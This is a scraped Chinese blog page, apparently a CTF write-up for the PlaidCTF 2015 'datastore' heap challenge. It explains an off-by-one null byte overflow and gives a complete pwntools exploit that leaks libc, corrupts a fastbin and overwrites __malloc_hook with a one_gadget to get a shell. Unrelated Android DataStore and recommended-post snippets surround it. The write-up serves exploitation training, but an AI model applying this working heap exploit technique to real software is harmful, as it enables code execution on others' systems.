2015 plaidctf datastore(off by one)

Android DataStore 使用详解 Jetpack DataStore 是一种数据存储解决方案,允许您使用协议缓冲区存储键值对或类型化对象。DataStore 使用 Kotlin 协程和 Flow 以异步、一致的事务方式存储数据。 阅读详情

1、检查

[*] '/home/yzl/Documents/off_by_one/datastore'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
    FORTIFY:  Enabled

保护全开

2、漏洞分析

在这里插入图片描述
v3先赋值,再+1,所以当row_key刚好到了临界区,刚好还没有扩大时,会有一个NULL 字节溢出。key_row会产生溢出的几个大小0x18,0x38,0x78,0xf8,0x1f8…

3、漏洞利用

在这里插入图片描述
当free b后,会通过unlink会将x+fast+a+b合并成一个大的unsort bin,而我们再将fast free后,再次申请chunk,便可以控制fast 的fd域,这就变成了uaf,从而实现任意写。
exp

from pwn import *
import LibcSearcher as ls 
context.log_level = 'debug'

context.terminal = ['gnome-terminal', '-x', 'sh', '-c']


p = process('./datastore')

libc= ELF("/lib/x86_64-linux-gnu/libc.so.6")

def GET(row_key):
    p.recvuntil('PROMPT: Enter command:\n')
    p.sendline("GET")
    p.sendlineafter('PROMPT: Enter row key:\n',row_key)
def PUT(row_key,size,data):
    p.recvuntil('PROMPT: Enter command:\n')
    p.sendline("PUT")
    p.sendlineafter('PROMPT: Enter row key:\n',row_key)
    p.sendlineafter('PROMPT: Enter data size:\n', str(size))
    if(len(data)<size):
        data=data.ljust(size,'\x00')
    p.sendafter('PROMPT: Enter data:\n',data)


def DUMP():
    p.recvuntil('PROMPT: Enter command:\n')
    p.sendline("DUMP")

def DEL(row_key):
    p.recvuntil('PROMPT: Enter command:\n')
    p.sendline("DEL")
    p.sendlineafter("PROMPT: Enter row key:\n",row_key)

def EXIT():
    p.recvuntil('PROMPT: Enter command:\n')
    p.sendline("EXIT")




for i in range(10):#因为每个功能函数都用到了0x38 chunk,所以我们先构造一些,避免影响后面的利用
    PUT(str(i), 0x38, 'a' * 0x18)
for i in range(10):
    DEL(str(i))


PUT('x', 0x200, 'x' * 0x200)
PUT('fast', 0x68, 'fast')
PUT('fast2', 0x68, 'fast2')
PUT('a', 0x1f8, 'a' * 0x18)
PUT('b', 0xf0, 'b' * 0x18)
PUT('defense', 0x400, 'defense-data')#防止top bin的影响
DEL('a')
DEL('x')
DEL('1' * 0x1f0 + p64(0x4f0))#对b的pre_size域和prev_inuse进行覆盖
DEL('b')
PUT('0x200', 0x200, '0x200')
PUT('0x200plus',0x200,'0x200')
GET('fast')
p.recvuntil(']:\n')
leak = u64(p.recv(8).ljust(8, '\x00'))
libc_base= leak-(0x7ffff7dd1b78-0x7ffff7a0d000)
DEL('fast2')
PUT('0x68+0x68', 0x100, 'a' * 0x68 + p64(0x71) + p64(libc_base + libc.symbols['__malloc_hook'] - 10-0x10+7))
PUT('pre', 0x68, 'aa')
one_gadget_offset =  0x4526a
one_gadget=one_gadget_offset+libc_base
PUT('attack',0x68,'a'*3+p64(one_gadget))
GET('fast')
p.interactive()


https://ctf-wiki.github.io/ctf-wiki/pwn/linux/glibc-heap/off_by_one-zh/#2-plaidctf-2015-plaiddb
https://bbs.pediy.com/thread-246966.htm

Android Jetpack组件 DataStore的使用和简单封装,安卓面试 下面我们再写一个取数据的方法。: “新冠” }.first()你会发现和存数据又有不同,这里的first()就是取值,这个方法换个方式来看就清晰一些。然后我们在取数据按钮的点击事件中调用。下面我们运行一下:第一次我先取数据,显示的是默认值,然后我存数据再取数据。效果就是这样,但你会觉得使用起来很麻烦,不如SP好用,这个我们后面再去封装,先了解一些它的功能特性。三、数据查看和清除在进行定义dataStore时,会在手机中生成一个pb文件,这里我们用虚拟机来看,然后通过你的程序包名去找。 阅读详情

相关推荐

pCTF2015:plaidCTF 2015 的回购

pCTF2015 plaidCTF 2015 测试 git 的回购

off-null-byte-plaiddb

题目: plaidctf2015_plaiddb ->datastore 分析 [外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-UTd2LGgx-1642508657858)(posion-null-byte(plaidctf2015_plaiddb)].assets/image-20220118010052651.png) 这题不用纠结这个二叉树算法,解题思路和算法方面关系不大 put函数:(用于添加键值对) [外

csdn546229768的博客 584

手把手教学:用国产GLM-4.6替代Claude4.0,实现AI自动化编程全流程

本文提供了一份详细的教程,指导开发者使用国产GLM-4.6模型替代Claude 4.0,实现AI自动化编程。内容涵盖从获取API密钥、搭建本地环境、改造Claude Code工具到实战开发与VSCode集成的全流程,旨在帮助用户低成本、高效率地体验AI自主编程。

weixin_29070861的博客 553

PlaidCTF CTF 2015 pwn160

PlaidCTF CTF 2015 pwn160格式化字符串漏洞之前指针没有理解好,所以理解这题的攻击花了不少功夫,记录一下思路:程序中的sprintf第三个参数format由我们控制,存在明显的格式化字符串漏洞。这个程序给了一个全局buf,大小为1024字节,可以植入shellcode,主要的难点是如何将某个函数的返回地址(脚本中写的是make_response返回地址)改成buf中的地址。这里用

Vccxx的博客 976

说说PSTN、ISDN、 ADSL三种互联网接入方式的区别。

互联网的接入方式: 电话拨号接入(PSTN) ISDN接入 ADSL接入 Cable MODEM接入 局域网接入 光纤接入(FDDI) 卫星接入 DDN专线 目前来说,ADSL和Cable MODEM比较常用,今天我们就先来说说PSTN、ISDN和ADSL的区别。 电话拨号接入(PSTN/POTS,Public Switched Telephone Network / Public Oold Telephone Service) 数据终端设备(DTE)通过数据通信设备(DCE)再连

Winyaz的博客 2万+

接上篇,记录一下【Unity 3D对博途PLCSIM的通讯】文章有点长~仔细看,很基础

本文参考链接:西门子PLC丨PROFINET通讯仿真(虚拟通讯)做了一些更详细的优化,本文使用的类库并非原作者使用的类库。 首先,昨天项目已经创建好了,这边也加了一个InputField和一个Button,可以实现简单的读取,ok开始。 放入准备好的通讯类库; 新建一个博途的项目,本次测试使用博途V15,测试环境为虚拟机,Unity运行在本地计算机,建立博途项目流程如下: 新建项目,右键项目-属性-保护-对勾,如图: 不得不说的是,仿真中加密的FB块是无法下载的哦~ 添加CPU...

NS_Speak(IVAV) 8060

DataStore详解

项目中使用SharedPreference时还是要注意。不能用来替代SharedPreference。整个对象都将被序列化并持久化到磁盘。一致的事务方式存储数据。事务方式处理更新数据。

听海的博客 3991

雷达回波仿真

文章目录前言一、基础理解1.慢时间维度和快时间维度2.脉冲压缩3.MTI4. 脉冲多普勒处理5.cacfar检测二、具体流程1.产生回波信息加入目标时延以及噪声2.解调回波得到基带信号3.脉冲压缩 MTI MTD cafar检测 前言 雷达算法仿真学习,主要流程包括生成目标回波,将基带信号加在载波上其次是加上目标信息和干扰信号后发射,解调回波信号得到基带信号然后MTI,MTD,最后再检测。 一、基础理解 1.慢时间维度和快时间维度 连续M个脉冲回波经过相干解调之后的基带数据形成的一个二维数据矩阵,.

qq_42961235的博客 1万+

DataStore的基础用法

0. 简介 Google在推出JetPack组件以来,一直推荐我们使用DataStore组件替代到我们第一天学android就知道的SharedPreferences组件,原因很简单,因为当年的SharedPreferences存在居多的问题,DataStore就是为了解决这些问题而来的。 1. SP的缺点 至于 SP到底存在哪些问题,我们可以直接查看 DataStore源码上的注释: Synchronous API encourages StrictMode violations apply() an

成长的烧年 7863

别再用Excel硬算传热了!用MATLAB/Octave复现国赛数学建模A题(附完整代码与避坑指南)

本文详细介绍了如何利用MATLAB/Octave高效解决数学建模中的传热问题,替代传统的Excel计算方法。通过复现2018年国赛A题的高温作业服传热模型,从理论推导到代码实现,提供了完整的有限差分法解决方案和参数拟合技巧,帮助读者提升数学建模效率和准确性。

weixin_30512965的博客 379

Allegro如何设置走线自动删除重复走线操作指导

Allegro如何设置走线是自动删除重复走线操作指导在PCB布线的时候,点到点需要重复走一段线的时候,希望原来的线段自动被删除,Allegro设计的时候支持这个操作如下图,重复走中间的线段的时候,希望下方的走线自动删除具体操作如下This section is describe what the function allegro have ,helpfully could let user know more about allegroAllegro Design and Analysis includes

weixin_54787054的博客 4499

Android DataStore:安全存储和轻松管理数据

从时代发展的角度看,网络安全的知识是学不完的,而且以后要学的会更多,同学们要摆正心态,既然选择入门网络安全,就不能仅仅只是入门程度而已,能力越强机会才越多。因为入门学习阶段知识点比较杂,所以我讲得比较笼统,大家如果有不懂的地方可以找我咨询,我保证知无不言言无不尽,需要相关资料也可以找我要,我的网盘里一大堆资料都在吃灰呢。干货主要有:①1000+CTF历届题库(主流和经典的应该都有了)②CTF技术文档(最全中文版)③项目源码(四五十个有趣且经典的练手项目及源码)

m0_61869253的博客 1628

【电源专题】案例:对比不同电池在不同电流下的电池放电曲线

无

一点硬件 2840

ctf-wiki 堆漏洞利用:ptmalloc2 下 Off-By-One 漏洞原理与 CTF 实战深入剖析

Off-By-One(差一溢出)是 CTF 堆利用中最经典的单字节溢出漏洞类型。本文以 ctf-wiki 仓库中 [Off-By-One 专题文档](https://link.gitcode.com/i/444dea689a91233cbf556ca5e5bf651d) 为主体,系统讲解其产生原理、在 glibc ptmalloc2 堆管理机制下的利用思路,并结合 Asis CTF 2016 b0

gitblog_00432的博客 840

SpringBoot项目搭建

SpringBoot项目搭建

私信可回答各种问题~ 1024

温度PID控制PLC程序

温度PID稳定控制程序,适用于欧姆龙PLC,对其他PLC也具有很大参考价值

CTF-Wiki 堆漏洞利用系列:Linux 堆中的 Off-By-One 单字节溢出原理与实战(ptmalloc2)

Off-By-One 是一种仅越界一个字节的特殊堆溢出漏洞,因 ptmalloc2 对堆块校验的松散性,单字节溢出在 Linux 堆上可以被转化为 chunk overlapping、unlink 任意写乃至 getshell。本文以 CTF-Wiki 仓库中 [off-by-one.md](https://link.gitcode.com/i/46da4b12bdaa72fbd470c1738b

gitblog_00911的博客 1002

jre9下载 jdk9

(Java SE Runtime Environment 9.0) 9.0u175 官方最新版 【x86|x64】

Android Jetpack组件 DataStore的使用和简单封装

前言也许你是第一次听说这个DataStore,也许你有所耳闻,但从未使用过,不过都没有关系,随着这篇文章去熟悉DataStore。正文DataStore是Jetpack中的一个组件,用于做数据持久化,DataStore以异步、一致的事务方式存储数据,克服了SharedPreferences的一些缺点,DataStore基于Kotlin协程和Flow实现,就是用来取代SharedPreferences的。我们废话不多说,开始吧。

2501_90226252的博客 1865

NTscan扫描工具

ntscan是一个扫描器,可以扫描没有密码和弱密码的共享,先到配置文件中填写猜测的用户名和密码,扫描过程中右侧出现的是扫描日志。

最新的sdio 4.0 spec 协议标准 带书签 高清完整PDF版

Part-E1-SDIO-Specification-Ver4.00-Final-120220.pdf:最新的sdio 4.0 spec 协议标准 带书签 高清完整PDF版,包括SDIO 接口的外设,SDIO 接口官方协议等。

Android Jetpack 系列(四)DataStore 数据存储

try {DataStore 是 Google 面向现代 Android 架构推出的响应式本地数据存储方案,它通过协程、Flow 和类型安全特性,为开发者提供更强的能力和更清晰的数据管理模型。但这并不意味着 SharedPreferences 立即过时。两者各有适用场景:如果你正在开发一个新的 MVVM 架构项目,推荐使用 DataStore,它能很好地与 ViewModel、StateFlow 等 Jetpack 组件协同工作,且具有良好的并发与响应式特性。

子云心的博客 1645

【Android Jetpack】DataStore的介绍

Jetpack DataStore是一种数据存储解决方案,允许您使用协议缓冲区存储键值对或类型化对象。DataStore使用Kotlin协程和Flow以异步、一致的事务方式存储数据。

xoliu的博客 1065

DataStore入门及在项目中的使用

新手踩坑DataStore,及在项目中的运用,需要了解kotlin的扩展和属性委托,才能看懂官网的代码

qq_26014653的博客 1185

Android开发实战班 - 数据持久化 - DataStore 现代存储方案

DataStore 的历史与发展DataStore 是 Google 在 2020 年推出的新一代持久化存储解决方案,旨在取代传统的。DataStore 提供了更安全、更高效、更灵活的存储方式,并支持 Kotlin 协程和 Flow。DataStore 的优势异步操作: DataStore 默认使用异步操作,避免阻塞主线程。类型安全: DataStore 支持 Kotlin 的类型安全特性,减少运行时错误。Kotlin 协程和 Flow 支持。

知道者 1146

DataStore —— SharedPreferences 的替代者 ,移动应用开发

apply() and commit() have no mechanism of signalling errors apply() will block the UI thread on fsync() Not durable – it can returns state that is not yet persisted No consistency or transactional semantics Throws runtime exception on parsing errors Expos.

m0_66264533的博客 652

一文了解DataStore(Preferences)

本篇主要介绍DataStore,包含介绍,使用等。本篇会介绍DataStore两种实现Preferences DataStore(主要介绍)和Proto DataStore(后续介绍)。本篇也会介绍到DataStore和SharedPreferences的不同之处,以及如何进行迁移。首先,DataStore是Jetpack一部分,是一种数据存储解决方案。其次,DataStore使用协程及flow以异步、一致的方式实现数据的存储。......

android小菜 1354

【Jectpack】DataStore

dataStore 是jectpack推出的轻量化存储组件,包含PreferenceDataStore和ProtoDataStore两种方式,基于Flow()实现数据存储 Why To Use 之前的Android轻量化存储组件SharedPreferences读写操作会阻塞主线程,在数据量不多的情况下没什么影响,但随着对组件的滥用,存储的数据量逐渐增大,性能问题逐渐显现,官方也挣扎着出了apply()异步化方案,希望挽救SharedPreferences于水火,但可惜apply()并未实现真正意义上的.

健忘的鱼的博客 2806
上一篇: flagen
下一篇: De1CTF Weapon(IO_2_1_stdout)
Maxmalloc
博客等级 码龄8年 12粉丝 33原创
评论 5
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付:10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值